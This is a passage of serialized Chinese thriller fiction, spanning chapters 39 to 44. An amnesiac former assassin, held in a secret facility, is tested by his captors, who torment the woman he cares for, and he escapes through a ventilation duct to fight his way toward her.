无力感和愤怒交织在一起。我就像一头受伤的野兽,被关在精致的笼子里,连咆哮都显得徒劳。
我闭上眼,感受着伤口传来的阵阵钝痛和体内残留的虚弱。
码头的**虽然暂时解决了“勋”的威胁,但也让我付出了惨重的代价。现在落入阿杰手中,情况并未好转,只是换了一种形式的危险。
“组织”到底想干什么?阿杰口中的“研究价值”究竟是什么?他们费尽心思把我弄回来,难道只是为了观察一个失忆**的恢复过程?
还有周玲和奶奶……她们现在怎么样了?周玲一定吓坏了。奶奶年纪那么大,经历了**和**,身体和精神能承受得住吗?
一想到周玲那双含泪的、充满担忧和恐惧的眼睛,我的心就像被什么东西紧紧攥住,一种陌生的、焦灼的情绪在胸腔里蔓延。我从未如此迫切地想要确认一个人的安全,想要……看到她。
这种软弱的牵挂,对于“寒霜”来说是致命的。但我无法控制。
不知又过了多久,也许是几个小时,金属门再次滑开。
这次进来的,是穿着白大褂的李医生,她身后跟着那名女护士。
李医生看起来比在医疗中心时更加疲惫,眼下的黑眼圈很重,但她的眼神依旧专业而冷静。她走到床边,开始检查我的伤口,查看监护仪的数据。
“恢复情况比预期好一些。”她一边检查,一边平淡地陈述,“你的身体素质很好,意志力也远超常人。这有助于我们后续的观察和研究。”
“研究?”
李医生手上的动作顿了一下,抬眼与我对视,眼神里没有任何躲闪:“是的,研究。你是一个极其特殊的案例,韩先生,或者说,‘寒霜’。你的记忆缺失,本能残留,情感与杀戮指令的冲突与融合……这些都是非常宝贵的数据。”
她的话证实了我的猜测。我依旧是一个实验品,只是换了一批观察者。
“那个‘单元’呢?”我问出了最关心的问题,“你们取出来了?”
“在你昏迷期间,我们已经通过微创手术取出了那个纳米级生物激励单元。它确实具有神经信号监测和潜在指令接收功能,设计非常精妙,幸好王博士的实验室被毁,否则后果不堪设想。”
单元取出来了。这算是一个好消息,至少摆脱了随时可能被远程操控或引爆的威胁。但身体的枷锁解除,精神的牢笼却依然存在。
“我现在在哪里?”我换了个问题。
“一个绝对安全的地方。”李医生给出了一个标准而模糊的答案,“在你完全恢复并通过评估之前,不能离开。”
评估?什么样的评估?服从性测试?还是……记忆清除的二次尝试?
我的心沉了下去。
检查结束后,李医生和护士准备离开。
“等等。”我叫住她,“我要见周玲。”
李医生停下脚步,回头看着我,沉默了几秒,然后说道:“我会向上面转达你的要求。但最终决定权不在我。”
门再次关上。
房间里恢复了死寂。只有监护仪的滴答声,提醒着我时间在流逝,也提醒着我身陷囹圄的现实。
我躺在床上,看着苍白的天花板,大脑飞速运转,试图寻找任何可能的突破口。这个房间看似无懈可击,但一定有弱点。
就在我苦思冥想之际,门外似乎传来了一阵轻微的骚动,夹杂着周玲带着哭腔的、焦急的声音:
“让我进去!我就看他一眼!求求你们!他怎么样了?!”
是周玲!她就在外面!
我的心猛地提
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了起来!她没事!她还好!
“周小姐,请冷静。韩先生需要休息。”是那个女护士冰冷的声音。
“我就看一眼!就一眼!确认他没事我就走!”周玲的声音带着哭喊和不顾一切的执拗。
紧接着,是短暂的争执声和脚步声。
然后,在我紧紧盯着的房门外,那扇厚重的金属门,竟然……缓缓地滑开了一条缝隙!
缝隙不大,但足够我看到外面周玲那张布满泪痕、写满了担忧和恐惧的脸!她也看到了我,四目相对的瞬间,她的眼泪流得更凶,嘴唇颤抖着,似乎想说什么,却被护士强行拦住了。
“韩冰!”她只来得及喊出我的名字,声音嘶哑。
“周玲!”我挣扎着想坐起来,却再次被疼痛击倒。
就在这时,阿杰的身影出现在门口,他面无表情地看了一眼房间里的我,又看了一眼被护士拦住的、情绪激动的周玲。
“让她进去五分钟。”阿杰对护士说道,语气不容置疑,“看好时间。”
护士愣了一下,随即点头:“是。”
门被完全打开。周玲像一阵风一样冲了进来,扑到我的床边,双手紧紧抓住床沿,眼泪如同断线的珠子,不断滚落。
“韩冰……你怎么样?你吓死我了,你流了好多血……”她泣不成声,看着我身上缠绕的绷带和苍白的脸色。
看着她为我流泪,为我担忧的样子,我心中那片冰冷的冻土,仿佛被一股暖流悄然浸润。我抬起没有输液的那只手,有些笨拙地、轻轻握住了她抓在床沿的、冰凉颤抖的手。
“我没事。”我低声说,声音依旧沙哑,却带上了一丝我自己都未曾察觉的柔和,“奶奶呢?”
“奶奶在休息,她受了惊吓,有点低烧,但医生说没有大碍……”周玲哽咽着回答,反手紧紧握住我的手,仿佛那是她唯一的依靠,“我们……我们现在在哪里?他们是什么人?”
我摇了摇头,示意她隔墙有耳。
周玲立刻明白了,她用力点头,用手背胡乱擦着眼泪,努力平复情绪。她就那样站在床边,紧紧握着我的手,贪婪地看着我,仿佛要将这几天的担忧和恐惧都在这一刻弥补回来。
五分钟很短,短到仿佛只是一个呼吸。
护士冷漠的声音响起:“时间到了,周小姐,请离开。”
她看着我,眼中充满了不舍和担忧。
“放心。”我用力握了握她的手,给了她一个尽可能安心的眼神,“照顾好奶奶,也照顾好自己。”
她咬着嘴唇,重重地点了点头,一步三回头地,被护士带出了房间。
金属门再次合拢,隔绝了她离去的身影。
房间里恢复了寂静,但空气中似乎还残留着她带来的、一丝微弱的、温暖的气息。
我看着她离去的方向,久久没有收回目光。
手心里,似乎还残留着她指尖的冰凉和颤抖。
阿杰允许周玲来看我,是安抚?是试探?还是……另有所图?
我不知道。
但我知道,为了能再次看到她那带着泪光的、却依旧明亮的眼睛,为了能兑现带她和奶奶离开的承诺……
我必须活下去。
并且,想办法打破这个看似坚固的牢笼。
无论付出什么代价。
第四十章 评估与裂痕
纯白的牢笼里,时间失去了意义,只剩下监护仪规律的滴答声和伤口持续不断的钝痛,提醒着我生命的存在与脆弱。
周玲短暂的探视像一颗投入死水的石子,激起的涟漪尚未平复,却已被冰冷的现实迅速吞噬。
李医生的“检查”变得越来越频繁,也越来越……深入。不再仅仅是查看伤口愈合情况和生命体征,她开始引入一些看似常规,实则刁钻的神经反应测试、瞳孔对光反射的细微观察,甚至是一些带有诱导性的、关于记忆碎片的问题。
“看到这个图像,有熟悉感吗?”
“如果必须在保护一个人和完成任务之间选择,你的本能会倾向于哪边?”
“那个摸耳朵的动作,发生时通常伴随着什么情绪?”
她的问题试图精准地剖开我的大脑,窥探那些连我自己都混沌不清的区域。我大多以沉默或最简短的“不记得”、“不知道”回应。我知道,任何多余的反应都可能成为他们分析“寒霜”与“韩冰”融合程度的样本。
阿杰偶尔也会出现,隔着一段距离,如同观察实验室里的小白鼠,沉默地注视着李医生对我进行的各项“评估”。他的眼神依旧平静无波,但我能感觉到那平静之下隐藏的、巨大的压力和某种……急切。
他们在等什么?等我恢复战斗力?还是等我展现出某种他们期待的“特质”?
腹部的伤口在精心的医疗护理下愈合得很快,缝合线已经被拆除,留下了一道狰狞的粉色疤痕。左腿的骨裂也在好转,虽然还不能剧烈运动,但已能勉强下地行走。身体的恢复似乎让他们很满意,但精神的“评估”却愈发严苛。
这天,李医生带来了一台更加精密的、连接着许多电极的仪器。
“今天进行一次深度脑波扫描和潜意识应激测试。”她一边准备设备,一边用毫无感情的音调通知我,“我们需要记录你在特定刺激下的神经反应模式。”
特定刺激?我心中警铃大作。这绝不仅仅是简单的检查。
我被要求坐在一张特制的椅子上,电极被仔细地贴在我的头皮、太阳穴和颈后。冰凉的凝胶触感让我极不舒服。李医生和那名女护士在仪器后面操作着,屏幕上开始出现复杂跳动的波形图。
“放松,韩先生。只是记录数据。”李医生说道,但她的眼神却紧紧盯着屏幕。
起初,只是一些舒缓的、类似白噪音的声音和不断变幻的、无意义的几何图形。
一些模糊的、高速闪回的画面碎片被投射到我眼前的屏幕上。
这些画面与冰冷的杀戮指令和短暂的情感瞬间交织在一起,如同混乱的碎片,试图搅动我好不容易才稍微平复的意识海洋!
我的呼吸骤然急促!心脏不受控制地加速跳动!监护仪发出了轻微的警报声!
“情绪波动明显。”女护士冷静地报告。
“记录峰值和反应区域。”李医生下令,声音里带着一丝不易察觉的兴奋。
他们在用我最深处的记忆和本能冲突作为刺激源!他们在测试“寒霜”的杀戮本能与“韩冰”的情感牵绊之间的拉锯战!
怒火在我胸腔里燃烧,但我强迫自己冷静。不能让他们得逞!不能被这些刻意制造的混乱吞噬!
我闭上眼,不再去看那些闪烁的画面,不再去听那些扭曲的声音。我开始在心中默数,将注意力集中在呼吸上,试图强行剥离那些被外界激起的情绪波澜。
屏幕上的脑波图像出现了变化,原本剧烈波动的曲线开始趋于平缓,虽然仍有一些细微的紊乱,但不再有之前那种剧烈的峰值。
李医生的眉头微微蹙起,似乎对我的“抵抗”有些意外。
“加大刺激强度,加入痛觉关联记忆。”她冷声吩咐。
下一秒,一股强烈的、类似电击般的刺痛感猛地从我腹部的旧伤位置传来!
“呃!”我闷哼一声,身体不受控制地痉挛了一下,额头上瞬间冒出冷汗。
与此同时,屏幕上再次闪过周玲在火光中哭喊着向我跑来的画面!
痛楚与担忧,绝望与希望,两种极端的感觉被强行捆绑在一起,如同冰与火在我体内疯狂冲撞!
“就是现在!记录!”李医生的声音带着一丝急切。
我死死咬住牙关,指甲深深掐入掌心,用疼痛来对抗疼痛,用意志构筑堤坝,阻挡那试图冲垮理智的情绪洪流。我不能倒下,不能在他们面前彻底失控!
就在我感觉意识即将再次被扯碎边缘时,所有的刺激画面、声音、模拟痛感骤然消失了。
房间里只剩下我粗重的喘息声和监护仪逐渐恢复平稳的滴答声。
我瘫在椅子上,浑身被冷汗浸透,像是刚从水里捞出来,虚脱感排山倒海般袭来。
李医生和女护士则在仪器前忙碌地记录着数据,低声交谈着。
“……抵抗意志超出阈值……”
“……情感关联区域仍有强烈反应……”
“……杀戮本能被有效抑制,但未消失……”
“……需要进一步观察融合稳定性……”
他们的对话片段飘进我的耳朵,冰冷而专业。
过了一会儿,李医生走到我面前,摘下了我头上的电极。
“测试结束。你的表现……很有参考价值。”她看着我,眼神复杂,似乎既有失望,也有某种发现新大陆般的好奇,“回去休息吧。下次评估在四十八小时后。”
下一次?还有下一次?
我被女护士搀扶着,回到了那张冰冷的金属床上。身体极度疲惫,但大脑却异常清醒。
我必须尽快想办法离开这里。
可是,怎么做?这个设施如同铁桶,我身体尚未完全恢复,外面还有严密的看守。
我的目
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光落在房间角落的通风口上。那里或许……
就在这时,金属门再次无声滑开。
这次进来的不是医生或护士,而是阿杰。他独自一人,手里没有拿任何文件或设备。
他走到床边,居高临下地看着我,目光如同探照灯,似乎想从我虚弱的外表下看出些什么。
“感觉怎么样?”他开口,声音依旧平淡。
“死不了。”我冷淡回应。
阿杰并不在意我的态度,他沉默了几秒,忽然说道:“‘勋’在本市的据点被基本清除,冷艳确认死亡。王博士下落不明,但‘创世纪’的威胁依然存在。”
他告诉我这些做什么?示好?还是施加压力,暗示我除了依靠他们别无选择?
“所以呢?”我问。
“所以,你的价值更大了。”阿杰直视着我的眼睛,“一个经历了‘创世纪’改造,又与‘勋’正面交锋并存活下来的独特样本。组织需要你,韩冰。需要你的力量,也需要你……脑子里那些可能连你自己都不知道的信息。”
他终于部分摊牌了。他们不仅要我的人,还要我记忆深处可能埋藏的、关于这两个敌对组织的秘密。
“如果我说,我什么都不记得了呢?”我试探道。
“记忆可以遗忘,但本能和技能不会。”阿杰的嘴角勾起一丝极淡的、几乎看不出的弧度,“而且,我们有最好的专家和技术,可以帮助你……‘想’起来。”
他的话语里带着不容置疑的自信和一种令人不寒而栗的暗示。
我心底一片冰凉。果然,他们从未放弃过“修复”我这件武器的打算。
“周玲和她的奶奶,”我转移了话题,这也是我最大的牵挂,“你们打算怎么处置?”
“她们是重要的关联者,尤其是周玲小姐。”阿杰的语气没有任何变化,“她对你的‘情感影响’是极其珍贵的研究数据。在评估结束前,她们会得到妥善的……照顾。”
妥善的照顾?我看着他平静无波的脸,知道这不过是“软禁”的另一种说法。她们和我一样,都是被困在这张无形网中的囚徒。
阿杰没有再说什么,他最后深深看了我一眼,转身离开了。
房间里再次只剩下我一个人。
我靠在床头,看着苍白的天花板,心中的危机感达到了顶点。
时间不多了。下一次“评估”可能就是更危险的试探,甚至是某种形式的“再编程”。
我必须在那之前,找到突破口。
我的目光再次投向那个通风口,一个模糊的计划开始在脑中成型。或许……可以利用下一次周玲探视的机会?
风险极大,但坐以待毙的结局,只会更糟。
在这片纯白的、充满监控的牢笼里,一场无声的逃亡,开始在我心中酝酿。
裂痕,已经出现。
而我,必须抓住它。
第四十一章 白墙暗影
我不能坐等下一次“评估”。那可能不再是测试,而是某种形式的“矫正”或“挖掘”。我必须在那之前行动。
身体的恢复速度超出了我的预期,或许是“寒霜”那非人的体质在起作用。腹部的疤痕依旧狰狞,但内部的愈合已接近完成,只要不做极限发力,基本不影响活动。左腿的骨裂处还有些隐痛,但支撑行走已无大碍。
我的目光,一遍又一遍地扫过这个囚笼。墙壁,天花板,地板,那扇厚重的金属门,还有……角落那个不起眼的通风口。
通风口不大,覆盖着细密的金属格栅,标准的方形设计。它连接着这座设施的中央通风系统。理论上,这是唯一可能通往外面的、非正式通道。
但风险巨大。格栅如何无声打开?管道内部结构未知,是否有传感器或警报?出口在哪里?会不会直接通向守卫室或监控中心?
每一个问题都可能致命。
我需要信息。关于这个设施布局的信息,哪怕只是一点点。
机会出现在一次例行检查后。那名女护士在记录数据时,手中的平板电脑似乎因为低电量提示闪烁了一下,她下意识地瞥了一眼屏幕右上角的时间。
就是那一瞥,让我看到了屏幕背景上一个极其模糊的、似乎是建筑平面图的缩略图一角!虽然瞬间就被她切换了界面,但那惊鸿一瞥已经足够,我看到了一个类似“H”形的走廊布局标记,以及我们所在区域一个红色的、标着“R-7”的圆点。
R-7。这可能是房间编号。而“H”形布局,暗示这个设施可能不大,结构相对简单。
这点信息微不足道,但像黑暗中擦亮的一根火柴,给了我方向。
下一次周玲的探视,是关键。
两天后,金属门如期滑开。周玲走了进来,依旧是五分钟。
她看起来比上次平静了一些,但眼底的忧虑并未散去。她走到床边,习惯性地想握住我的手,但在触碰到我之前,动作微微一顿,目光快速扫了一眼墙角那个不起眼的摄像头。
“奶奶好多了,能喝点粥了。”她轻声说着,但手指却悄悄在我掌心划了三个数字:1、3、0。
我的心跳漏了一拍。130?是时间?还是房间号?
我看着她,用眼神询问。
她极轻微地点了点头,目光垂下,落在她带来的一个里面除了水果,底层似乎还藏着什么东西的果篮上。
护士站在门口,面无表情地看着我们。
“谢谢你来看我。”我开口,声音平稳,同时用指尖在她掌心快速回了一个“V”字形状——代表通风口。
她拿起一个苹果,开始削皮,动作缓慢,像是在消磨时间。
“外面天气好像不错。”她状似无意地说着,削皮的手却微微调整角度,利用水果刀的微小反光,快速映了一下通风口的位置,然后又瞥了一眼门口护士的方向。
她在确认位置,并观察守卫的注意力。
聪明!我心中暗赞。
五分钟很快过去。
“时间到了。”护士冰冷的声音响起。
周玲放下苹果和水果刀,深深看了我一眼,那眼神复杂无比有关切,有担忧,更有一种豁出去的决绝。
“我明天再来看你。”她说,然后转身离开。
门关上后,我立刻看向那个水果篮。护士似乎没有检查的意思,或许认为这只是普通的探视礼品。
我等到房间里只剩下我一个人时,才慢慢挪到床边,伸手探入水果篮底部。指尖触碰到一个冰冷、坚硬的金属物体。
是一把小巧的、结构特殊的内六角扳手。型号正好可以用来拆卸那种标准通风口格栅的螺丝!
周玲是怎么弄到这个的?她又是如何准确判断出我需要这个,并且避开了搜查?
这个看似柔弱的女孩,在绝境中爆发出的勇气和机智,一次次超出我的预料。
我将扳手紧紧攥在手心,冰冷的金属触感带来一丝真实的力量感。工具有了,接下来就是时机和路线。
130……她划的那个数字。是下午一点半?那个时候,通常是守卫换班或者人员相对懈怠的时候?
我必须赌一把。
我将扳手小心地藏在了床垫下一个极其隐蔽的缝隙里。然后,我开始调整呼吸,积蓄体力,像一头等待狩猎时机的狼,在纯白的牢笼里,耐心地蛰伏。
时间一分一秒流逝。外面的走廊偶尔传来脚步声,说话声,每一次都让我的神经紧绷。
下午一点二十五分。
走廊外似乎比平时更安静了一些。换班时间?
一点二十八分。
我悄无声息地滑下床,走到通风口下方。耳朵贴在冰冷的金属格栅上,仔细倾听。管道内只有空气流动的微弱嘶声,没有其他异常。
一点三十分。
就是现在!
我迅速取出内六角扳手,找准格栅四角的螺丝,开始无声而快速地拧动。螺丝有些锈蚀,但在专业工具和我的力量下,还是被一点点旋开。
汗水从额角滑落。每一秒都如同在刀尖上跳舞。
终于,四颗螺丝全部卸下。我轻轻取下格栅,露出了后面黑黢黢的、仅容一人匍匐通过的管道入口。
一股带着灰尘和金属味道的冷风从里面涌出。
没有犹豫!
我深吸一口气,先将双腿探入管道,然后用手臂支撑,将整个身体小心翼翼地滑了进去。腹部的伤口在挤压下传来一阵刺痛,但我强行忍住了。
管道内一片漆黑,狭窄而压抑。我只能凭借触觉和微弱的气流方向向前爬行。
爬了大概十几米,前方出现了一个岔路口。一条向左,一条向右。根据之前看到的那个模糊的“H”形布局印象,我选择了向左的管道,这似乎是通往建筑侧翼的方向。
管道内壁上布满了灰尘和絮状物,呼吸变得困难。我能听到自己心脏在胸腔里狂跳的声音,以及身体摩擦管道壁的沙沙声。
又爬行了不知多久,前方似乎隐约透来一丝极其微弱的光线,还有……模糊的人声?
我放缓速度,像蜥蜴一样悄无声息地向前挪动。
光线是从下方一个通风口格栅缝隙里透出来的。人声也清晰了一些。
“……R-7目标情绪稳定,身体恢复符合预期……”
“……‘种子’已植入,等待触发条件……”
“……对‘载体’的依赖性观测
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数据持续上传……”
是阿杰和李医生的声音!他们就在下面的房间!
我屏住呼吸,小心翼翼地凑近格栅缝隙,向下望去。
下面是一个类似监控中心的房间,比我的囚室大得多。墙上布满屏幕,显示着各个房间的实时监控画面包括我刚刚离开的那个R-7!画面里,我的床空空如也!而周玲和奶奶的房间也在其中,奶奶躺在床上似乎睡着了,周玲则坐在床边,低着头,肩膀微微耸动,像是在哭泣。
阿杰和李医生站在中央控制台前,正讨论着。
“‘种子’?”李医生看着屏幕上的数据,眉头微蹙,“你确定要这么做?风险很高,可能会引发不可控的连锁反应,甚至导致‘寒霜’人格彻底吞噬……”
“风险与收益并存。”阿杰打断她,声音冷静得残酷,“我们需要一个完全体的‘寒霜’,而不是一个被情感束缚的残次品。周玲就是那颗最好的‘种子’,她的存在,她的安危,是触发‘寒霜’最终形态最有效的催化剂。”
他顿了顿,指着屏幕上哭泣的周玲:“你看,仅仅是暂时的分离和不确定的未来,就能引发如此强烈的情绪波动。如果我们让‘寒霜’亲眼看到‘载体’受到真正的、生命威胁呢?”
我的血液瞬间冰冷!他们不仅仅是在观察,他们是在策划!他们要用周玲来刺激我,逼迫“寒霜”彻底苏醒!
“准备执行‘净化’程序第一阶段。”阿杰下达了指令,“给R-9(周玲的房间)增加一点‘压力’。注意控制程度,我要看到反应,不是毁灭。”
“明白。”李医生在控制台上操作着。
不!不能让他们伤害周玲!
怒火如同岩浆,瞬间冲垮了理智!我几乎要不顾一切地撞开格栅冲下去!
但残存的冷静拉住了我。现在下去,不仅救不了周玲,还会暴露自己,前功尽弃。
我必须忍耐,必须找到更好的机会,必须……先确保周玲的安全!
我死死咬住嘴唇,尝到了血腥味,强迫自己冷静下来。我记住了这个房间的位置,记住了阿杰那冷酷的计划。
然后,我悄无声息地向后退去,沿着来路,小心翼翼地往回爬。
我必须尽快回去,在守卫发现我失踪之前。
这一次的冒险,虽然未能逃脱,却让我窥见了这座白色牢笼下,最深的黑暗与恶意。
阿杰,李医生,这个所谓的“组织”……
他们比“勋”和“创世纪”更加可怕。
因为他们披着“拯救”和“研究”的外衣,行着最冰冷的操控与算计。
而周玲,成了他们棋盘中,最重要的那一枚棋子。
我爬回R-7的通风口,确认外面没有动静后,迅速钻了出来,将格栅和螺丝恢复原状,抹去痕迹,然后躺回床上,盖好被子,假装一切如常。
心脏仍在疯狂跳动,不是因为恐惧,而是因为沸腾的杀意和一种前所未有的、想要保护某个人的强烈冲动。
白色的墙壁上,仿佛映出了阿杰那张冰冷的脸和周玲哭泣的身影。
裂痕,已经无法弥合。
下一次,不再是逃亡。
而是……狩猎。
第四十二章 棋子与棋盘
金属门滑开的声音将我伪装的平静撕裂。两名全副武装的守卫走了进来,眼神锐利地扫视着房间,最后定格在我身上。
“起来。”其中一人命令道。
我的心沉了下去。被发现了?通风口的痕迹?还是周玲送扳手的事情暴露了?
没有反抗的余地。我顺从地起身,腹部的伤疤在动作下隐隐作痛。他们一左一右夹着我,走出了R-7房间。走廊的光线比房间内更冷,映照着纯白的墙壁,仿佛没有尽头。
他们没有带我去往常的评估室,而是走向了“H”形走廊的另一个分支。方向……正是我之前在通风管道里听到阿杰声音的大致方位。
最终,我们停在一扇标着“监控分析室”的门前。门无声滑开,阿杰和李医生站在里面,正对着墙上巨大的监控屏幕。屏幕上,赫然是周玲和奶奶所在的R-9房间。奶奶依旧昏睡,周玲坐在床边,双手紧紧攥着衣角,脸色苍白。
“看来恢复得不错,都能进行‘自主探索’了。”阿杰没有回头,声音透过冰冷的空气传来。
我被守卫按在房间中央的椅子上。他知道了。他怎么可能不知道?
“我不明白你的意思。”我试图做最后的挣扎。
阿杰终于转过身,脸上带着一丝嘲弄的笑意,指了指屏幕一角的一个极小的红外线感应器标记,那标记正对着我房间的通风口。“动态感应,微米级精度。从你第一次盯着通风口看的时候,我们就提高了该区域的监控等级。”
他踱步到我面前,居高临下:“很有趣,不是吗?‘寒霜’的本能让你寻找出路,情感让你选择了最冒险的方式。更让我惊讶的是周玲……她超出了我们的预期模型。”
他的目光转向屏幕里的周玲,像是在欣赏一件完美的实验品。“她能精准捕捉到你无声的诉求,并能在外界严格监控下,找到并传递关键工具。这种默契和执行力,不是普通‘载体’能拥有的。”
“放了她。”我的声音压抑着怒火,“你们的目标是我。”
“目标是你,但关键在她。”李医生插话,她的语气带着一丝不易察觉的复杂,“阿杰,或许我们可以考虑其他方案……”
“没有其他方案!”阿杰打断她,眼神锐利,“‘寒霜’必须完整苏醒,剥离那些无用的情感羁绊。而最快、最有效的方法,就是让他在极致的情绪冲击下,亲自做出选择——是保护‘载体’,还是沉溺于虚假的温情。”
他点击控制台,R-9房间的镜头拉近,聚焦在周玲苍白的脸上。“‘净化’程序第一阶段,开始。”
屏幕上,R-9房间的灯光突然开始剧烈闪烁,忽明忽灭,同时一种低频的、令人极度不适的嗡鸣声响起,即使透过监控,我也能想象那声音对耳膜的折磨。
周玲猛地捂住耳朵,身体蜷缩起来,脸上露出痛苦的神色。奶奶在床上不安地扭动。
“住手!”我试图从椅子上站起,但被身后的守卫死死按住。
“这只是开始,一点感官干扰。”阿杰平静地叙述,“接下来,温度会骤降,她会感觉像被扔进冰窖。然后,我们会释放一种无害但能引发强烈焦虑的气体……我们需要观察,她在承受极限压力时,会向你传递什么样的信息,而你又会产生怎样的……反应。”
屏幕里,周玲在闪烁的灯光和刺耳的嗡鸣中抬起头,目光似乎穿透了镜头,直直地望向我这里。
那一刻,所有的犹豫和伪装都被击得粉碎。
“看着我,韩冰,或者……寒霜。”阿杰的声音如同魔咒,“看看他们为了你正在承受什么。选择权在你。是继续龟缩在那脆弱的‘自我’里,看着她被一点点摧毁?还是释放你真正的力量,结束这一切?”
他挥了挥手。屏幕里,R-9的温度显然开始下降,周玲的呼吸在空气中变成了白雾,她抱紧双臂,瑟瑟发抖,但眼神依旧坚定地看着“镜
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头”,重复着那三个字。
愤怒不再是炽热的岩浆,而是凝结成了绝对零度的冰。血液里某种沉睡的东西彻底苏醒了,视野边缘似乎泛起一丝冰冷的蓝色。
我抬起头,看向阿杰,声音异常平静,甚至带着一丝我自己都陌生的冰冷质感:“你想看到‘寒霜’?”
阿杰的眼中闪过一丝兴奋:“是的。”
“如你所愿。”我说。
话音未落,我身体猛地向下一沉,卸去大部分压制力量,手肘以迅雷不及掩耳的速度狠狠撞向右侧守卫的肋部。软骨碎裂的轻微声响被他的闷哼掩盖。同时,左腿如同鞭子般扫向左侧守卫的膝盖关节。
动作干净利落,毫无预兆,超越了应有的极限。
两个守卫瞬间失去战斗力。
我站起身,活动了一下脖颈,骨节发出轻微的咔哒声。没有看倒在地上的守卫,我的目光锁定在阿杰和李医生身上。
“但现在,”我看向阿杰,嘴角勾起一个没有任何温度的弧度,“狩猎目标,由我来定。”
警报声瞬间响彻整个设施,红色的警示灯开始旋转。
阿杰脸上没有丝毫恐惧,反而是一种近乎狂热的满意。“对!就是这样!这才是你!”
李医生则下意识地向后退了一步,脸上写满了惊惧。
我没有理会他们,身形一闪,冲向监控分析室的门。门在警报下自动锁死。我没有任何停顿,侧身,聚力,一记沉重的侧踹狠狠砸在门锁区域!
“砰!”
金属门发出不堪重负的**,门框变形,锁舌崩裂!
门外传来急促的脚步声,更多的守卫正在赶来。
我回头,最后看了一眼屏幕。周玲在低温中蜷缩着,嘴唇冻得发紫,但那双眼睛依然看着我,带着决绝和……一丝祈求。
我扭回头,撞开变形的门,冲入了红光闪烁的走廊。
狩猎,开始了。
第一个目标,不是逃离,而是R-9。
第四十三章 困兽
警报嘶鸣,红光如血,泼洒在纯白走廊的每一个角落。脚步声、呼喊声、金属碰撞声从四面八方涌来。这座沉寂的设施,因我而沸腾。
阿杰想看到“寒霜”?他看到的,只是我冰封之下的第一道裂痕。真正的寒潮,尚未降临。
“目标脱离R-7!向B区移动!”
“封锁B-3、B-5通道!”
对讲机里传来的指令冰冷而高效。他们想活捉,想继续他们的“研究”和“催化”。这给了我一丝空间,但也仅仅是狭缝中的一丝。
三名守卫从前方岔路口冲出,手持电击棍,呈扇形包抄而来。他们的动作标准,配合默契,显然是受过专业训练。
身体先于思考做出反应。侧身避开第一根捅来的电击棍,手腕翻转,扣住对方的手腕,顺势一拉一拧,骨头错位的脆响清晰可闻……
整个过程不超过五秒。三人倒地,失去意识。
动作流畅,效率极高,没有一丝多余。这不是格斗技巧,这是杀戮本能简化后的应用。腹部伤口在发力时传来**的刺痛,但被意志强行压下。
我捡起地上的一根电击棍,掂了掂分量。聊胜于无。
穿过倒下的守卫,我继续向B区突进。走廊的灯光在警报下明灭不定,像垂死者的脉搏。
“他的目标是R-9!重复,目标指向R-9!”对讲机里的声音带上了一丝不易察觉的急促。
前方就是通往B区的连接通道,一道厚重的隔离门正在缓缓关闭。这是他们预设的封锁程序。
冲刺!在门缝即将闭合到仅容一人侧身通过的瞬间,我将电击棍猛地插入门缝!电机发出刺耳的嘎吱声,门体卡顿了一下。就是这零点几秒的停滞!我侧身强行挤入,布料与金属摩擦发出撕裂声,肩胛骨承受着巨大的压力。
挤过去了!隔离门在身后轰然闭合。
B区的环境略有不同,墙壁不再是纯粹的白色,而是带着一丝冰冷的金属灰。
没时间细究。根据方向判断,R-9应该就在前方不远。
拐过又一个弯角,视线豁然开朗。这是一个小型的中枢区域,连接着几条通道。而就在这片区域中央,站着一个人。
阿杰。
他独自一人,手上没有武器,只是平静地看着我,仿佛早就在这里等候。
“惊人的效率,韩冰。”他叫出了这个名字,语气里带着研究者的审视和一丝如愿以偿的兴奋,“这才是你真正的姿态。冷漠,高效,精准。。”
我停下脚步,与他相隔十米。电击棍垂在身侧,警报声是我们的背景音乐。
“周玲在哪里?”我问,声音没有任何起伏。
“她很安全,暂时。”阿杰摊了摊手,“但她的安全,取决于你的选择。回来,韩冰。回到观察室,让我们完整记录‘寒霜’的苏醒过程。我保证,她和那个老妇人会得到最好的照顾。”
“你的保证,一文不值。”我向前踏出一步。
阿杰的眼神锐利起来:“你以为你能带她走?就算你闯到R-9,外面还有多少道封锁?整个设施都在封锁程序中。你是在自投罗网。”
“也许。”我又踏前一步,距离在缩短,“但在我被网住之前,我会先撕碎布网的人。”
就在这时,旁边一条通道里传来急促的脚步声,两名手持防爆盾和警棍的守卫冲了出来,试图从侧翼夹击我。
阿杰的嘴角露出一丝计划得逞的微笑。他并非独自在此,这是一个陷阱。
但我等的,就是混乱。<
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br>在守卫靠近的瞬间,我猛地将手中的电击棍掷向阿杰,逼迫他下意识侧身躲避。同时,我如同猎豹般扑向那两名守卫,不是硬撼,而是利用他们持盾动作带来的瞬间迟滞,从两人之间的缝隙悍然穿过!
身后传来阿杰气急败坏的吼声和守卫调整方向的声音。我不予理会,将速度提到极限,冲向记忆中R-9的位置。
看到了!那扇标着“R-9”的金属门就在走廊尽头!门口没有守卫,显然兵力都被调动去围堵我了。
就在我即将冲到门口的刹那:
“韩冰!”
一个熟悉的声音,带着颤抖,从旁边一个敞开的、类似物资储备间的房间里传出。
是周玲!
我猛地刹住脚步,看向那个房间。周玲脸色苍白,扶着门框站在那里,眼神里充满了恐惧,但更多的是一种决绝的提醒。她的嘴唇无声地张合,重复那三个字:
“有陷阱。”
几乎在她发出警告的同时,R-9的金属门猛地向内打开!门后,不是房间,而是黑洞洞的、足以容纳数人的空间,里面闪烁着捕捉网发射器的幽光!
一个精心布置的假目标!而阿杰,他用R-9作为诱饵,等待我自投罗网。
我没有任何犹豫,转身冲向储备间。就在我抓住周玲手臂,将她拉向身后的瞬间。
“砰!”
一声沉闷的枪响,打破了警报声的单调鸣响。
一颗**擦着我的耳边飞过,狠狠砸在身后的墙壁上,留下一个浅坑。
通道另一端,阿杰举着枪,眼神冰冷,他身后的守卫正在合围。
“真是令人感动的羁绊。”阿杰的声音透过警报声传来,带着讽刺,“但游戏该结束了,韩冰。”
……
第四十四章 冰锋所向
警报的红光在走廊尽头闪烁,脚步声由远及近。韩冰将周玲拉进一处设备隔间,金属门轻轻合拢,将外界的喧嚣短暂隔绝。
“韩冰……”周玲靠在冰冷的墙壁上,“你真的……想起来了?”
韩冰的视线扫过门缝外的动静,头也不回:“一部分。足够我知道我是谁,也知道他们对你做了什么。”
“他们给奶奶用了药,”周玲攥紧衣角,“说我是‘种子’……要用我来刺激你。”
“我知道。”韩冰转身,目光锐利如刀,“在通风管道里听到了。”
周玲怔住:“所以你不是盲目乱闯……”
“狩猎需要情报。”韩冰打断她,“阿杰不会停。必须找到出路,或者……”
“或者什么?”
